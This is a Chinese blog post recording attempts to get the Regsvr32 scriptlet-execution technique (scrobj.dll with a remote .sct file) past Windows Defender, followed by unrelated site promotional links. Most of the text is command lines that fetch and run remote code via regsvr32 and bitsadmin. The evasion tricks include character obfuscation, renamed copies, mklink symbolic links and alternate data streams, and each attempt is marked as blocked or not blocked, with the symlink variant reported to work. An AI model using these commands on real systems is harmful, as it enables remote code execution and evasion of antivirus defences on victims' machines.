Regsvr32 Bypass SCT/HTTP
前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32
跟这篇文章也有点相似,不过这个人的思路更加的广阔!
参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/
我看到最后才知道最终是绕不过的,这篇就是简单的记录下常用的绕过思路
支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10
所需要的权限:用户
先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!
参数讲解:
/u:反注册DLL文件 /i:在使用 /u 反注册时调用 DllInstall /s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框 /c:控制端口 /n:不调用DllRegisterServer,必须与/i连用
DllInstall
:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。
大家可以理解DllInstall
的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!
这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!
标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll
,这个结果是会被Windows Defender进行拦截的!
绕过过程如下:
第一种尝试方法:命令参数的交换
/u /s 前后交换
regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll
拦截
结果无法绕过
第二种尝试方法:添加干扰符
这里使用的干扰符只有"
,^
,自己知道的还有个@
regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll
拦截
regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll
拦截
第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!
copy c:\windows\system32\regsvr32.exe c:\programdata\reg32.exe
reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll
拦截
copy c:\windows\system32\scrobj.dll Myscrobj.dll
regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll
拦截
第四种尝试方法:特征码修改
这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符
regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll
拦截
regsvr32.exe /i:http://example.com/file.txt scrobj.dll
拦截
regsvr32.exe /i:http:// scrobj.dll
拦截
regsvr32.exe /i:http: scrobj.dll
拦截
regsvr32.exe /i:ftp: scrobj.dll
不拦截
regsvr32.exe /i:http: Myscrobj.dll
不拦截
那么可以确定的是 拦截情况为:http
和scrobj.dll
的组合
第五种尝试方法:符号链接
权限要求:本地管理员
在linux中有软链接和硬链接,在windows中也有类似的操作符号链接
Mklink.exe c:\programdata\Myscrobj.dll c:\windows\system32\scrobj.dll
regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll
不拦截,但是记得操作的时候在链接的dll目录下进行!
第六种尝试方法:数据流(ADS)
dir /R
可以去发现本地的备用数据流
默认情况下,我们查看称为$DATA
的特定流。可以向文件中添加其他流并向其中添加内容。
Type c:\windows\system32\scrobj.dll > test.txt:Myscrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll
拦截
第七种尝试方法:本地磁盘执行
那么也就是下载到本地然后进行执行,不去远程执行!
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
拦截
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY